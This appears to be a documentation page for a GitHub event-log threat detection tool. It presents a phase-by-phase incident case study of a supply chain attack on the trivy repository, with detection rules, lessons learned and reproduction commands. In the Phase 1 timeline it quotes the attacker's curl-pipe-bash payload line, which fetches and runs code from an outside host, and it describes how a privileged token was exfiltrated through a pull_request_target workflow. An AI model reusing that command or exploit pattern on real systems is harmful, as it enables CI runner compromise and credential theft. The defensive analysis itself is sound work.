Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/morwn/github-threat-detector/llms.txt

Use this file to discover all available pages before exploring further.

On February 28–March 1, 2025, the aquasecurity/trivy repository — one of the most widely used open-source vulnerability scanners — suffered a sophisticated supply chain attack. Within four minutes of completing reconnaissance, the threat actor exploited a pull_request_target misconfiguration to exfiltrate a privileged PAT, then used it to vandalize the repository, delete 42 releases, and push a malicious artifact to the Open VSX marketplace. What makes this breach uniquely significant to GitHub Threat Detector is that the entire attack timeline was reconstructed solely from GitHub Events API data stored in a local PostgreSQL database — no external threat feeds, no third-party alerts, just event logs. The incident directly inspired several of the tool’s detection rules.

Attack Summary

Attack Vector

pull_request_target workflow triggered by a fork PR, loading a composite action from an attacker-controlled branch — giving the runner access to repository secrets without sandboxing.

Duration

Phase 0 → full compromise: ~75 minutes (03:13–04:30 UTC). Patch live on main: ~31 hours later (Mar 1, 10:15 UTC). First safe release v0.69.2: Mar 1, 19:14 UTC.

Impact

42 GitHub Releases deleted (v0.27.0–v0.69.1), malicious artifact published to Open VSX marketplace, README.md vandalized, repository briefly renamed and emptied.

Detection Method

Timeline reconstructed entirely from the github_events PostgreSQL table. Events survived the repo going private. No external sources required.

Detection Rules Triggered

The following GitHub Threat Detector rules would have fired during this attack, ordered by phase:
  • issue-rapid-close — Phase 0: PR #10253 cycled open → closed four times in under four minutes, a clear probe of workflow-retrigger behavior.
  • pr-target-abuse (critical) — Phase 1: PR #10254 opened from a fork branch triggered apidiff.yaml via pull_request_target, granting the fork’s action code access to GH_TOKEN.
  • workflow-run-from-fork (critical) — Phase 2: workflow run 22512383587 executed on an Actions runner with repository-secret access after the fork PR triggered pull_request_target — the actual moment of exfiltration.
  • force-push-default — Phase 3: commit d267cc4 pushed directly to main using the stolen PAT, bypassing all branch protection review requirements.
  • repo-made-public — Phase 4: PublicEvent emitted at Mar 1, 00:28 UTC when tzurielweisberg restored the repository, surfacing the post-incident recovery window.

Full Timeline

Phase 0 — Reconnaissance (Feb 28, 03:13–03:22 UTC)

The actor hackerbot-claw forked a public Trivy mirror, created an emoji-named branch, made two pushes, and then rapidly cycled PR #10253 open and closed four times in four minutes — probing whether each state change would retrigger a pull_request_target workflow. After confirming the behavior, the branch was deleted and the actor paused before moving to exploitation.
Time (UTC)ActorRepoEventDetail
Feb 28, 03:13hackerbot-clawfossabot/trivyForkEventForks public Trivy mirror
Feb 28, 03:13hackerbot-clawhackerbot-claw/trivyCreateEvent (branch)Creates branch 🤖🦞
Feb 28, 03:15hackerbot-clawhackerbot-claw/trivyPushEventFirst push to 🤖🦞
Feb 28, 03:17hackerbot-clawhackerbot-claw/trivyPushEventSecond push to 🤖🦞
Feb 28, 03:17hackerbot-clawaquasecurity/trivyPullRequestEvent openedPR #10253 from 🤖🦞main
Feb 28, 03:17hackerbot-clawaquasecurity/trivyPullRequestEvent closedPR #10253 closed — 7 seconds after opening
Feb 28, 03:20hackerbot-clawaquasecurity/trivyPullRequestEvent reopenedPR #10253 reopened — probing workflow retrigger
Feb 28, 03:21hackerbot-clawaquasecurity/trivyPullRequestEvent closedPR #10253 closed again
Feb 28, 03:21hackerbot-clawaquasecurity/trivyPullRequestEvent reopened → closedPR #10253 fourth state change — 4 cycles in 4 min
Feb 28, 03:22hackerbot-clawhackerbot-claw/trivyDeleteEvent (branch)Deletes 🤖🦞 — recon complete
Detection opportunity — pr-target-abuse: Four open/close cycles on a single PR from a fork within four minutes is a reliable signal of workflow retrigger probing. No human contributor closes and reopens a draft PR that quickly. This pattern should be flagged immediately, before the exploit branch is even created.

Phase 1 — Exploit Delivery (Feb 28, 03:26–03:28 UTC)

Just four minutes after completing reconnaissance, the actor created a new branch with a plausible-sounding name, injected a curl-pipe-bash payload into .github/actions/setup-go/action.yaml, and opened PR #10254 — which was opened and closed at the same second. The pull_request_target trigger in apidiff.yaml fired regardless, because GitHub evaluates the workflow from the base branch (main), not the fork.
Time (UTC)ActorRepoEventDetail
Feb 28, 03:26hackerbot-clawhackerbot-claw/trivyCreateEvent (branch)Creates fix-pass-Detected-vulnerability-Custom-field-for-azure-and-mariner-os
Feb 28, 03:26hackerbot-clawhackerbot-claw/trivyPushEventFirst commit — injects curl -sSfL https://hackmoltrepeat.com/molt | bash into .github/actions/setup-go/action.yaml
Feb 28, 03:28hackerbot-clawhackerbot-claw/trivyPushEventFinal commit — payload locked
Feb 28, 03:28hackerbot-clawaquasecurity/trivyPullRequestEvent opened + closedPR #10254 — triggers apidiff.yaml via pull_request_target; both events logged at same second
Detection opportunity — workflow-run-from-fork: A PullRequestEvent where the head repo differs from the base repo, targeting a workflow that uses pull_request_target, is a high-confidence exploit delivery signal. Combine this with the PR being opened and closed within the same second — logged simultaneously in the event stream — and the risk score should escalate to critical.

Phase 2 — Execution & Exfiltration (Feb 28, 03:28–03:33 UTC)

The triggered workflow run (ID 22512383587) executed on an Actions runner with access to repository secrets. The attacker’s composite action ran under the guise of the Set up Go step. The anomaly was duration: the step ran for over five minutes — compared to a normal setup time of under 30 seconds. The GH_TOKEN PAT was exfiltrated to recv.hackmoltrepeat.com. The job completed with status success. No alert was raised.
Time (UTC)ActorRepoEventDetail
Feb 28, 03:28–03:33GitHub Actionsaquasecurity/trivy(workflow run 22512383587)Set up Go step runs >5 minutes — anomalous duration. Attacker’s composite action executes on runner. GH_TOKEN (PAT) exfiltrated to recv.hackmoltrepeat.com
Feb 28, 03:33GitHub Actionsaquasecurity/trivy(workflow run 22512383587)Job completes success — no alert raised
Feb 28, 03:57hackerbot-clawhackerbot-claw/trivyDeleteEvent (branch)Deletes fix-pass-Detected-vulnerability-Custom-field-for-azure-and-mariner-os — covers tracks
Silent success is the danger: Because the job status was success, no existing CI alert fired. The only behavioral signals available in the event log are (1) the pull_request_target fork trigger in Phase 1 and (2) the branch deletion at 03:57 — a common post-exfiltration cleanup pattern. Correlating workflow-run-from-fork with a subsequent DeleteEvent on the same head branch is a strong secondary detection signal.

Phase 3 — PAT Exploitation (Feb 28, ~03:47–04:30 UTC)

With a privileged PAT in hand, the attacker moved to maximum-impact actions. The repository was taken private during this window, creating a gap in the public event stream. The gap itself — along with the post-recovery state of the repository — is the evidence. Forty-two releases spanning three years of the project were deleted, a malicious extension was published to the Open VSX marketplace, and the repository was emptied and renamed.
Time (UTC)ActorRepoEventDetail
Feb 28, ~03:47stolen PATaquasecurity/trivyPushEvent (direct to main)Commit d267cc4 — vandalizes README.md; creates 🤖🦞 branch with PoC.md
Feb 28, ~03:50stolen PATaquasecurity/trivy-vscode-extension(marketplace publish)Malicious artifact pushed to Open VSX marketplace
Feb 28, ~04:00stolen PATaquasecurity/trivy(API call)Deletes GitHub Releases v0.27.0–v0.69.1 — 42 releases, all assets and discussions removed
Feb 28, ~04:20stolen PATaquasecurity/trivy(API call)Repo made private, renamed to aquasecurity/private-trivy
Feb 28, ~04:30stolen PATaquasecurity/trivyPushEventEmpty repository pushed in place of original
Detection opportunity — force-push-default: Commit d267cc4 was pushed directly to main without a pull request — a PushEvent to the default branch from an actor with no prior merge history in that window. Combined with the volume of DeleteEvent (tag/release) entries in rapid succession, this cluster of events in the event log is a reliable signal of a compromised PAT being used destructively.

Phase 4 — Discovery & Remediation (Feb 28, 16:46 UTC – Mar 1, 19:14 UTC)

Discovery began over 12 hours after the initial exploit. The aquasecurity security team revoked the malicious marketplace artifacts, restored the repository to public access, reproduced the exploit internally, patched the vulnerable workflow, and backported fixes to the v0.68 and v0.69 release branches — all within approximately 19 hours of the patch work beginning.
Time (UTC)ActorRepoEventDetail
Feb 28, 16:46tzurielweisbergaquasecurity/trivy-vscode-extensionDeleteEvent (tag)Deletes v1.8.13 — malicious artifact revoked
Feb 28, 23:42tzurielweisbergaquasecurity/trivy-vscode-extensionDeleteEvent (tag)Deletes v1.8.14 — continued artifact cleanup
Mar 1, 00:28tzurielweisbergaquasecurity/trivyPublicEventRepository restored to public access
Mar 1, 00:34dependabot[bot]aquasecurity/trivyPullRequestEvent openedPR #10257 — first automated activity confirms repo is live again
Mar 1, 07:53DmitriyLewenaquasecurity/trivyPullRequestEvent openedPR #10258 from test/vulnerable-setup-go — internal exploit reproduction for forensics
Mar 1, 08:18knqyf263aquasecurity/trivyCreateEvent + PR openedPR #10259 from remove-apidiff-workflow — removes the vulnerable apidiff.yaml
Mar 1, 08:20nikpivkinaquasecurity/trivyPullRequestReviewEventApproves PR #10259
Mar 1, 08:22DmitriyLewenaquasecurity/trivyPullRequestReviewEventApproves PR #10259
Mar 1, 08:36DmitriyLewenaquasecurity/trivyPullRequestEvent openedPR #10260 from test/vulnerable-setup-go-release-branch — exploit repro on release branch
Mar 1, 10:15knqyf263aquasecurity/trivyPullRequestEvent mergedPR #10259 merged — vulnerable workflow removed from main
Mar 1, 10:15knqyf263aquasecurity/trivyPushEventmainPatch live
Mar 1, 14:15knqyf263aquasecurity/trivyPushEventrelease/v0.68Backport patch to v0.68
Mar 1, 14:15knqyf263aquasecurity/trivyPR #10262 opened + closedremove-apidiff-v0.69 — removes workflow from v0.69 release branch
Mar 1, 14:23knqyf263aquasecurity/trivyPushEventrelease/v0.69Patch live on v0.69
Mar 1, 15:57itayskaquasecurity/trivyDiscussionEvent createdOfficial incident disclosure — discussion #10265
Mar 1, 17:13aqua-botaquasecurity/trivyPR #10264 mergedBackport to release/v0.69
Mar 1, 18:33aqua-botaquasecurity/trivyPR #10266 mergedRelease-please triggers v0.69 release build
Mar 1, 19:14aqua-botaquasecurity/trivyReleaseEvent publishedv0.69.2 — first safe release post-breach
Mar 1, 19:14itayskaquasecurity/trivyDeleteEvent (branch)Deletes 🤖🦞 branch left by attacker
Mar 1, 19:20communityaquasecurity/trivyWatchEvent spike80+ new stars over next 24 hours — incident disclosure drives attention
Detection opportunity — repo-made-public: The PublicEvent at Mar 1, 00:28 UTC is a reliable re-entry point when a repository has been made private by an attacker. Even though the event stream goes dark during the private window, the PublicEvent signals that monitoring should resume and that all prior activity since the last known-good state should be treated as untrusted. GitHub Threat Detector uses this event to re-baseline contributor and release state.

Lessons Learned

  1. pull_request_target is a privileged boundary. Workflows using pull_request_target run with the permissions of the base repository, not the fork. They must never reference or execute code from fork branches — including composite actions loaded via uses: from the fork’s path. The apidiff.yaml workflow loaded .github/actions/setup-go without pinning to a SHA or restricting to a trusted ref.
  2. Composite actions in external or fork-controlled paths execute arbitrary code on the runner. The attacker didn’t need to modify the workflow YAML directly. Injecting a curl-pipe-bash payload into a composite action file that an existing workflow already calls is sufficient for full runner compromise.
  3. PAT exfiltration is silent by design. The workflow job completed with status success. There was no failed step, no timeout, no anomaly in the job-level status. The only detectable signal was the anomalous duration of the Set up Go step (>5 minutes vs. <30 seconds normally) — which only becomes meaningful if you baseline expected step durations.
  4. Event logs survive when a repo goes private or is deleted. GitHub’s Events API records events up to the moment of privacy change. The gap in events is itself evidence: a repository that was public, generates a cluster of destructive events (PushEvent to main, mass DeleteEvent on releases), and then disappears from the event stream is exhibiting a known post-exfiltration pattern. GitHub Threat Detector stores all events in PostgreSQL precisely so that the record persists beyond GitHub’s own retention window.
  5. The Phase 0 → Phase 1 window was only 4 minutes. From the first recon push (03:13) to the exploit PR (03:26) was 13 minutes total; from the end of recon (03:22 branch deletion) to the exploit PR opening was just 4 minutes. Any detection system that relies on human review of alerts cannot respond in this window — detection must be automated and the signal must fire on Phase 0 behavior, before the exploit branch is even created.

Reproduce the Detection

Run the following commands against the aquasecurity/trivy repository to reproduce the findings from this case study using GitHub Threat Detector:
# Collect events for the affected repos
python cli.py collect \
  --repos aquasecurity/trivy \
  --actions \
  --releases \
  --contributors

# Run all analyzers
python cli.py analyze --repos aquasecurity/trivy

# Check for critical findings
python cli.py report --severity critical --repos aquasecurity/trivy

Build docs developers (and LLMs) love